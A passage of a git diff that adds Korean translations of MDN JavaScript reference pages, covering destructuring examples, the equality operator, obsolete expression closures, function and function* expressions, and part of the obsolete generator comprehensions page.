+}
+
+drawES2015Chart({
+ cords: { x: 18, y: 30 },
+ radius: 30
+});</pre>
+
+<div class="note">
+<p>위의 <strong><code>drawES2015Chart</code></strong> 함수의 원형에서 구조 분해된 좌변에 빈 오브젝트 리터럴을 할당하는 것을 볼 수 있습니다 <code>{size = 'big', cords = {x: 0, y: 0}, radius = 25} = {}</code>. 빈 오브젝트를 우변에 할당하지 않고도 함수를 작성할 수 있습니다. 하지만, 지금의 형태에서는 단순히 <code><strong>drawES2015Chart()</strong></code>와 같이 어떤 매개변수 없이도 호출할 수 있지만, 우변의 빈 오브젝트 할당을 없앤다면 함수 호출시 적어도 하나의 인자가 제공되어야만 합니다. 이 함수가 어떠한 매개변수 없이도 호출할 수 있길 원한다면 지금 형태가 유용하고, 무조건 객체를 넘기길 원하는 경우에는 빈 객체 할당을 하지 않는 것이 유용할 수 있습니다.</p>
+</div>
+
+<h3 id="중첩된_객체_및_배열의_구조_분해">중첩된 객체 및 배열의 구조 분해</h3>
+
+<pre class="brush:js">var metadata = {
+ title: "Scratchpad",
+ translations: [
+ {
+ locale: "de",
+ localization_tags: [ ],
+ last_edit: "2014-04-14T08:43:37",
+ url: "/de/docs/Tools/Scratchpad",
+ title: "JavaScript-Umgebung"
+ }
+ ],
+ url: "/en-US/docs/Tools/Scratchpad"
+};
+
+var { title: englishTitle, translations: [{ title: localeTitle }] } = metadata;
+
+console.log(englishTitle); // "Scratchpad"
+console.log(localeTitle); // "JavaScript-Umgebung"</pre>
+
+<h3 id="for_of_반복문과_구조_분해">for of 반복문과 구조 분해</h3>
+
+<pre class="brush: js">var people = [
+ {
+ name: "Mike Smith",
+ family: {
+ mother: "Jane Smith",
+ father: "Harry Smith",
+ sister: "Samantha Smith"
+ },
+ age: 35
+ },
+ {
+ name: "Tom Jones",
+ family: {
+ mother: "Norah Jones",
+ father: "Richard Jones",
+ brother: "Howard Jones"
+ },
+ age: 25
+ }
+];
+
+for (var {name: n, family: { father: f } } of people) {
+ console.log("Name: " + n + ", Father: " + f);
+}
+
+// "Name: Mike Smith, Father: Harry Smith"
+// "Name: Tom Jones, Father: Richard Jones"</pre>
+
+<h3 id="함수_매개변수로_전달된_객체에서_필드_해체하기">함수 매개변수로 전달된 객체에서 필드 해체하기</h3>
+
+<pre class="brush:js">function userId({id}) {
+ return id;
+}
+
+function whois({displayName: displayName, fullName: {firstName: name}}){
+ console.log(displayName + " is " + name);
+}
+
+var user = {
+ id: 42,
+ displayName: "jdoe",
+ fullName: {
+ firstName: "John",
+ lastName: "Doe"
+ }
+};
+
+console.log("userId: " + userId(user)); // "userId: 42"
+whois(user); // "jdoe is John"</pre>
+
+<p>이 예제는 user 객체로부터 <code>id</code>, <code>displayName</code> 및 <code>firstName</code> 을 해체해 출력합니다.</p>
+
+<h3 id="계산된_속성_이름과_구조_분해">계산된 속성 이름과 구조 분해</h3>
+
+<p>계산된 속성 이름(computed property name)은, <a href="/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names" title="object literals">객체 리터럴</a>과 비슷하게 구조 분해에도 사용될 수 있습니다.</p>
+
+<pre class="brush: js">let key = "z";
+let { [key]: foo } = { z: "bar" };
+
+console.log(foo); // "bar"
+</pre>
+
+<h3 id="객체_구조_분해에서_Rest">객체 구조 분해에서 Rest</h3>
+
+<p><a class="external external-icon" href="https://github.com/tc39/proposal-object-rest-spread">Rest/Spread Properties for ECMAScript</a> 제안(stage 3)에서는 구조 분해에 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest</a> 구문을 추가하고 있습니다. rest 속성은 구조 분해 패턴으로 걸러지지 않은 열거형 속성의 키를 가진 나머지 항목들을 모읍니다.</p>
+
+<pre class="brush: js">let {a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40}
+a; // 10
+b; // 20
+rest; // { c: 30, d: 40 }
+</pre>
+
+<h3 id="속성_이름이_유효한_JavaScript_식별자명이_아닌_경우">속성 이름이 유효한 JavaScript 식별자명이 아닌 경우</h3>
+
+<p>구조 분해는 JavaScript {{glossary("Identifier", "식별자")}} 이름으로 적합하지 않은 속성명이 제공된 경우에도 이용할 수 있습니다. 이 때는 대체할 유효한 식별자명을 제공해야 합니다.</p>
+
+<pre class="brush: js">const foo = { 'fizz-buzz': true };
+const { 'fizz-buzz': fizzBuzz } = foo;
+
+console.log(fizzBuzz); // "true"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.operators.destructuring")}}</p>
+</div>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators" title="Assignment operators">할당 연산자</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/05/es6-in-depth-destructuring/">"ES6 in Depth: Destructuring" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/equality/index.html b/files/ko/web/javascript/reference/operators/equality/index.html
new file mode 100644
index 0000000000..5ebe238590
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/equality/index.html
@@ -0,0 +1,123 @@
+---
+title: 동등 연산자(==)
+slug: Web/JavaScript/Reference/Operators/Equality
+translation_of: Web/JavaScript/Reference/Operators/Equality
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>동등 연산자(==)는 두 개의 피연산자가 동일한지 확인하며, Boolean값을 반환합니다. <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality">일치 연산자</a>(===)와는 다르게 다른 타입의 피연산자들끼리의 비교를 시도합니다. </p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-equality.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">x == y
+</pre>
+
+<h2 id="상세_설명">상세 설명</h2>
+
+<p>동등 연산자 (<code>==</code> 와 <code>!=</code>)는 두 피연산자를 비교하기 위해 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9.3">Abstract Equality Comparison Algorithm</a>를 사용합니다. 다음과 같이 간략히 설명할 수 있습니다:</p>
+
+<ul>
+ <li>두 피연산자가 모두 객체일때, 두 피연산자가 동일한 객체를 참조할때에만 true를 반환합니다.</li>
+ <li>하나의 피연산자가 <code>null</code>이고 다른 하나가 <code>undefined</code>일때, <code>true</code>를 반환합니다.</li>
+ <li>두 피연산자의 타입이 다를 경우, 비교하기 전에 동일한 타입으로 변환하도록 합니다:
+ <ul>
+ <li>숫자와 문자열을 비교할 경우, 문자열을 숫자로 변환하도록 합니다.</li>
+ <li>하나의 피연산자가 <code>Boolean</code>일 경우, Boolean 피연산자가 true일 경우 1로 변환하고, false일 경우, +0으로 변환합니다.</li>
+ <li>하나의 피연산자가 객체이고 다른하나가 숫자나 문자열이면, 객체를  <code>valueOf()</code>나<code>toString()</code>를 사용해 기본 데이터 타입으로 변환하도록 합니다.</li>
+ </ul>
+ </li>
+ <li>두개의 피연산자가 동일한 타입일 경우, 다음과 같이 비교됩니다:
+ <ul>
+ <li><code>String</code>: 두 피연산자가 동일한 문자순서가 동일한 문자열일 경우, <code>true</code>를 반환합니다.</li>
+ <li><code>Number</code>: 두 피연산자가 동일한 값을 가질 경우, <code>true</code>을 반환합니다. +0 과 -0 은 동일한 값으로 취급합니다. 어느 한쪽이 <code>NaN</code>일 경우, <code>false</code>를 반환합니다.</li>
+ <li><code>Boolean</code>: 두 피연산자가 모두 <code>true</code>이거나, 모두 <code>false</code>일 경우, <code>true</code>를 반환합니다. </li>
+ </ul>
+ </li>
+</ul>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality">일치연산자</a> (<code>===</code>)와의 가장 두드러지는 차이점은 일치 연산자는 타입변환을 시도하지 않는다는 것입니다. 일치 연산자는 다른 타입을 가진 피연산자는 다르다고 판단합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="타입변환_없이_비교">타입변환 없이 비교</h3>
+
+<pre class="brush: js notranslate">1 == 1; // true
+"hello" == "hello"; // true</pre>
+
+<h3 id="타입변환을_이용한_비교">타입변환을 이용한 비교</h3>
+
+<pre class="brush: js notranslate">"1" == 1; // true
+1 == "1"; // true
+0 == false; // true
+0 == null; // false
+0 == undefined; // false
+0 == !!null; // true, look at Logical NOT operator
+0 == !!undefined; // true, look at Logical NOT operator
+null == undefined; // true
+
+const number1 = new Number(3);
+const number2 = new Number(3);
+number1 == 3; // true
+number1 == number2; // false</pre>
+
+<h3 id="객체들_간의_비교">객체들 간의 비교</h3>
+
+<pre class="brush: js notranslate">const object1 = {"key": "value"}
+const object2 = {"key": "value"};
+
+object1 == object2 // false
+object2 == object2 // true</pre>
+
+<h3 id="String과_String_objects의_비교">String과 String objects의 비교</h3>
+
+<p><code>new String()</code> 을 통해 생성된 문자열들은 객체입니다. 이 객체중 하나를 문자열과 비교한다면, <code>String</code> 객체가 문자열로 변환된 후 비교될 것입니다. 그러나 두개의 피연산자 모두 <code>String</code> 객체라면, 객체로써 비교가 이루어지기 때문에 같은 값으로 취급될려면 같은 객체를 참조하고 있어야 합니다:</p>
+
+<pre class="brush: js notranslate">const string1 = "hello";
+const string2 = String("hello");
+const string3 = new String("hello");
+const string4 = new String("hello");
+
+console.log(string1 == string2); // true
+console.log(string1 == string3); // true
+console.log(string2 == string3); // true
+console.log(string3 == string4); // false
+console.log(string4 == string4); // true</pre>
+
+<h3 id="Comparing_Dates_and_strings">Comparing Dates and strings</h3>
+
+<pre class="brush: js notranslate">const d = new Date('December 17, 1995 03:24:00');
+const s = d.toString(); // for example: "Sun Dec 17 1995 03:24:00 GMT-0800 (Pacific Standard Time)"
+console.log(d == s); //true</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-equality-operators', 'Equality operators')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.equality")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Inequality">Inequality operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality">Strict equality operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Strict_inequality">Strict inequality operator</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/expression_closures/index.html b/files/ko/web/javascript/reference/operators/expression_closures/index.html
new file mode 100644
index 0000000000..bf44be6cd7
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/expression_closures/index.html
@@ -0,0 +1,79 @@
+---
+title: 표현식 클로저
+slug: Web/JavaScript/Reference/Operators/Expression_closures
+tags:
+ - Function
+ - JavaScript
+ - Non-standard
+ - Obsolete
+ - Operator
+ - Reference
+translation_of: Archive/Web/JavaScript/Expression_closures
+---
+<div>{{JSSidebar("Operators")}}{{Non-standard_Header}}{{Obsolete_Header("gecko60")}}
+<div class="warning"><strong>Non-standard. Do not use!</strong><br>
+The expression closure syntax is a deprecated Firefox-specific feature and has been removed starting with Firefox 60. For future-facing usages, consider using <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a>.</div>
+</div>
+
+<p>클로져는 간단한 함수를 작성하기 위한 짧은 함수구문 입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]])
+ <em>expression</em>
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수의 이름입니다. 익명함수의 경우에는 생략할 수 있습니다. 이름은 함수본문에만 국한됩니다.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>함수에 전달할 인수의 이름입니다. 함수는 최대 255개의 인수를 가질 수 있습니다.</dd>
+ <dt><code>expression</code></dt>
+ <dd>함수의 본문을 구성하는 표현식입니다.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>이 추가적인 기능은 <a class="external" href="http://en.wikipedia.org/wiki/Lambda_calculus#Lambda_calculus_and_programming_languages">람다 표기법</a>과 비슷한 언어를 제공하기위해 간단한 기능을 작성하는데 필요한 단축형일 뿐입니다.</p>
+
+<p>JavaScript 1.7 and older:</p>
+
+<pre class="brush: js">function(x) { return x * x; }</pre>
+
+<p>JavaScript 1.8:</p>
+
+<pre class="brush: js">function(x) x * x</pre>
+
+<p>이 구문을 사용하면 중괄호나 'return'문을 생략하여 암시적으로 만들 수 있습니다. 코드를 더 짧게 만들 수 있는 것 이외의 이방법으로 얻을 수 있는 추가 이점은 없습니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>바인딩 이벤트 리스너의 간단한 예제:</p>
+
+<pre class="brush: js"> document.addEventListener('click', function() false, true);
+</pre>
+
+<p>JavaScript 1.6의 일부 배열 함수에 이 표기법을 사용합니다:</p>
+
+<pre class="brush: js">elems.some(function(elem) elem.type == 'text');
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.expression_closures")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/function/index.html b/files/ko/web/javascript/reference/operators/function/index.html
new file mode 100644
index 0000000000..5f4977bfc7
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/function/index.html
@@ -0,0 +1,154 @@
+---
+title: 함수 표현식
+slug: Web/JavaScript/Reference/Operators/function
+tags:
+ - Function
+ - JavaScript
+ - Operator
+ - Primary Expressions
+translation_of: Web/JavaScript/Reference/Operators/function
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>function</code></strong> 키워드는 어떤 표현식(expression) 내에서 함수를 정의하는 데 사용될 수 있습니다.</p>
+
+<p>또한 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function">Function</a> 생성자와 <a href="/ko/docs/Web/JavaScript/Reference/Statements/function">함수 선언(function declaration)</a>을 이용해 함수를 정의할 수도 있습니다.  </p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-functionexpression.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var myFunction = function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) { <em>statements </em>};</pre>
+
+<p><a href="/ko/docs/">ES2015</a>에서 <a href="/ko/docs/Web/JavaScript/Reference/Functions/%EC%95%A0%EB%A1%9C%EC%9A%B0_%ED%8E%91%EC%85%98">화살표 함수(arrow functions)</a>를 사용할 수도 있습니다.</p>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수 이름. 함수가 이름 없는(anonymous) 함수인 경우, 생략될 수 있음. 이 함수 이름은 함수의 몸통 내에서만 사용할 수 있습니다.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>함수로 전달되는 인수(argument) 의 이름.</dd>
+ <dt><code>statements</code></dt>
+ <dd>함수 몸통을 구성하는 문(statement).</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>함수 표현식(function expression)은 function 문과 매우 비슷하고 구문(syntax)이 거의 같습니다 (자세한 사항은 <a href="/ko/docs/Web/JavaScript/Reference/Statements/function" title="function statement">function 문</a> 참조). 함수 표현식과 function 문 사이의 주요 차이점은 함수 이름으로, 함수 표현식으로 <em>익명</em> 함수를 만들 경우 이 이름을 생략할 수 있습니다. 함수 표현식은 정의하자마자 실행되는  <a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IIFE (즉시 호출되는 함수 표현식)</a>로 사용될 수 있습니다. 더 자세한 정보는 <a href="/ko/docs/Web/JavaScript/Reference/Functions" title="functions">함수</a> 장 참조.</p>
+
+<h3 id="Function_expression_끌어올리기">Function expression 끌어올리기</h3>
+
+<p>자바스크립트에서 함수 표현식은 {{jsxref("Statements/function", "함수 선언", "#Function_declaration_hoisting")}}과는 달리 끌어올려지지 않습니다. 함수 표현식을 정의하기 전에는 사용할 수 없습니다.</p>
+
+<pre><code>console.log(notHoisted) // undefined
+//even the variable name is hoisted, the definition wasn't. so it's undefined.
+notHoisted(); // TypeError: notHoisted is not a function
+
+var notHoisted = function() {
+ console.log('bar');
+};</code></pre>
+
+<h3 id="유명(named)_함수_표현식">유명(named) 함수 표현식</h3>
+
+<p>함수 몸통 안 쪽에서 현재 함수를 참고하고 싶다면, 유명 함수를 생성해야 합니다. <u><strong>이 함수 이름은 함수의 몸통(범위) 안에서만 사용할 수 있습니다</strong></u>. 이로써 비표준 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code> 속성을 사용하는 것을 피할 수도 있습니다.</p>
+
+<pre><code>var math = {
+ 'factit': function factorial(n) {
+ console.log(n)
+ if (n &lt;= 1)
+ return 1;
+ return n * factorial(n - 1);
+ }
+};
+
+math.factit(3) //3;2;1;</code>
+</pre>
+
+<p>함수가 할당된 변수는 <code>name</code> 속성을 가지게됩니다. 다른 변수에 할당되더라도 그 name 속성의 값은 변하지 않습니다. 함수의 이름이 생략되었다면, name 속성의 값은 그 변수의 이름(암묵적 이름)이 될 것입니다. 함수의 이름이 있다면 name 속성의 값은 그 함수의 이름(명시적 이름)이 될 것입니다. 이는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">화살표 함수(arrow functions)</a>에도 적용됩니다 (화살표 함수는 이름을 가지지 않으므로 해당 변수에 암묵적인 이름만 줄 수 있습니다).</p>
+
+<pre><code>var foo = function() {}
+foo.name // "foo"
+
+var foo2 = foo
+foo2.name // "foo"
+
+var bar = function baz() {}
+bar.name // "baz"
+
+console.log(foo === foo2); // true
+console.log(typeof baz); // undefined
+console.log(bar === baz); // false (errors because baz == undefined)</code>
+</pre>
+
+<p> </p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 예제는 이름 없는 함수를 정의하고 그 함수를 <code>x</code>에 할당합니다. 함수는 인수의 제곱을 반환합니다:</p>
+
+<pre><code>var x = function(y) {
+ return y * y;
+};</code></pre>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Glossary/Callback_function">callback</a>으로 더 자주 사용됩니다:</p>
+
+<pre><code>button.addEventListener('click', function(event) {
+ console.log('button is clicked!')
+})</code></pre>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-13', 'Function definition')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-13', 'Function definition')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>초기 정의. JavaScript 1.5에서 구현됨.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.function")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Arrow_functions", "Arrow functions")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("Statements/async_function", "async function")}}</li>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/function_star_/index.html b/files/ko/web/javascript/reference/operators/function_star_/index.html
new file mode 100644
index 0000000000..7187f985bc
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/function_star_/index.html
@@ -0,0 +1,85 @@
+---
+title: function* expression
+slug: Web/JavaScript/Reference/Operators/function*
+tags:
+ - ECMAScript6
+ - Function
+ - Generator
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Operators/function*
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>function*</code></strong> keyword 는 표현식 내에서 generator function 을 정의합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-functionasteriskexpression.html")}}</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">function* [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) {
+ <em>statements</em>
+}</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수명. 생략하면, 익명 함수가 됩니다.  함수명은 함수내에만 한정됩니다.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>함수에 전달되는 인수의 이름. 함수는 최대 255 개의 인수를 가질 수 있습니다.</dd>
+ <dt><code>statements</code></dt>
+ <dd>함수의 본체를 구성하는 구문들.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p><code>function*</code> expression 은 {{jsxref('Statements/function*', 'function* statement')}} 과 매우 유사하고 형식도 같습니다. <code>function*</code> expression 과 <code>function*</code> statement 의 주요한 차이점은 함수명으로,<em> </em><code>function*</code> expressions 에서는 익명 함수로 만들기 위해 함수명이 생략될 수 있습니다.보다 자세한 내용은 <a href="/ko/docs/Web/JavaScript/Reference/Functions">functions</a> 을 참조하십시오.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>아래의 예제는 이름이 없는 generator function 을 정의하고 이를 x 에 할당합니다. function 은 인자로 들어온 값의 제곱을 생산(yield)합니다.</p>
+
+<pre class="brush: js">var x = function*(y) {
+ yield y * y;
+};
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#', 'function*')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#', 'function*')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("javascript.operators.function_star")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("GeneratorFunction")}} object</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+ <li>{{jsxref("Function")}} object</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/generator_comprehensions/index.html b/files/ko/web/javascript/reference/operators/generator_comprehensions/index.html
new file mode 100644
index 0000000000..927b613dc6
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/generator_comprehensions/index.html
@@ -0,0 +1,174 @@
+---
+title: 생성기 내포
+slug: Web/JavaScript/Reference/Operators/Generator_comprehensions
+tags:
+ - JavaScript
+ - Non-standard
+ - Obsolete
+ - Reference
+translation_of: Archive/Web/JavaScript/Generator_comprehensions
+---
+<div>{{JSSidebar("Operators")}}{{Non-standard_Header}}{{Obsolete_Header("gecko58")}}
+<div class="blockIndicator warning">
+<p><strong>Non-standard. Do not use!</strong><br>
+ The generator comprehensions syntax is non-standard and removed starting with Firefox 58. For future-facing usages, consider using {{JSxRef("Statements/function*", "generator", "", 1)}}.</p>
+</div>
+</div>
+
+<p>The <strong>generator comprehension</strong> syntax was a JavaScript expression which allowed you to quickly assemble a new generator function based on an existing iterable object. However, it has been removed from the standard and the Firefox implementation. Do not use it!</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">(for (x of iterable) x)
+(for (x of iterable) if (condition) x)
+(for (x of iterable) for (y of iterable) x + y)
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Inside generator comprehensions, these two kinds of components are allowed:</p>
+
+<ul>
+ <li>{{JSxRef("Statements/for...of", "for...of")}} and</li>
+ <li>{{JSxRef("Statements/if...else", "if")}}</li>
+</ul>
+
+<p>The <code>for-of</code> iteration is always the first component. Multiple <code>for-of</code> iterations or if statements are allowed.</p>
+
+<p>A significant drawback of {{JSxRef("Operators/Array_comprehensions","array comprehensions","","true")}} is that they cause an entire new array to be constructed in memory. When the input to the comprehension is itself a small array the overhead involved is insignificant — but when the input is a large array or an expensive (or indeed infinite) generator the creation of a new array can be problematic.</p>
+
+<p>Generators enable lazy computation of sequences, with items calculated on-demand as they are needed. Generator comprehensions are syntactically almost identical to array comprehensions — they use parentheses instead of braces— but instead of building an array they create a generator that can execute lazily. You can think of them as short hand syntax for creating generators.</p>
+
+<p>Suppose we have an iterator <code>it</code> which iterates over a large sequence of integers. We want to create a new iterator that will iterate over their doubles. An array comprehension would create a full array in memory containing the doubled values:</p>
+
+<pre class="brush: js">var doubles = [for (i in it) i * 2];
+</pre>
+
+<p>A generator comprehension on the other hand would create a new iterator which would create doubled values on demand as they were needed:</p>
+
+<pre class="brush: js">var it2 = (for (i in it) i * 2);
+console.log(it2.next()); // The first value from it, doubled
+console.log(it2.next()); // The second value from it, doubled
+</pre>
+
+<p>When a generator comprehension is used as the argument to a function, the parentheses used for the function call means that the outer parentheses can be omitted:</p>
+
+<pre class="brush: js">var result = doSomething(for (i in it) i * 2);
+</pre>
+
+<p>The significant difference between the two examples being that by using the generator comprehension, you would only have to loop over the 'obj' structure once, total, as opposed to once when comprehending the array, and again when iterating through it.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Simple_generator_comprehensions">Simple generator comprehensions</h3>
+
+<pre class="brush:js">(for (i of [1, 2, 3]) i * i );
+// generator function which yields 1, 4, and 9
+
+[...(for (i of [1, 2, 3]) i * i )];
+// [1, 4, 9]
+
+var abc = ['A', 'B', 'C'];
+(for (letters of abc) letters.toLowerCase());
+// generator function which yields "a", "b", and "c"
+</pre>
+
+<h3 id="Generator_comprehensions_with_if_statement">Generator comprehensions with if statement</h3>
+
+<pre class="brush: js">var years = [1954, 1974, 1990, 2006, 2010, 2014];
+
+(for (year of years) if (year &gt; 2000) year);
+// generator function which yields 2006, 2010, and 2014
+
+(for (year of years) if (year &gt; 2000) if (year &lt; 2010) year);
+// generator function which yields 2006, the same as below:
+
+(for (year of years) if (year &gt; 2000 &amp;&amp; year &lt; 2010) year);
+// generator function which yields 2006
+</pre>
+
+<h3 id="Generator_comprehensions_compared_to_generator_function">Generator comprehensions compared to generator function</h3>
+
+<p>An easy way to understand generator comprehension syntax, is to compare it with the generator function.</p>
+
+<p>Example 1: Simple generator.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3];
+
+// Generator function
+(function*() {
+ for (let i of numbers) {
+ yield i * i;
+ }
+})();
+
+// Generator comprehension
+(for (i of numbers) i * i );
+
+// Result: both return a generator which yields [1, 4, 9]
+</pre>
+
+<p>Example 2: Using <code>if</code> in generator.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3];
+
+// Generator function
+(function*() {
+ for (let i of numbers) {
+ if (i &lt; 3) {
+ yield i * 1;
+ }
+ }
+})();
+
+// Generator comprehension
+(for (i of numbers) if (i &lt; 3) i);
+
+// Result: both return a generator which yields [1, 2]</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
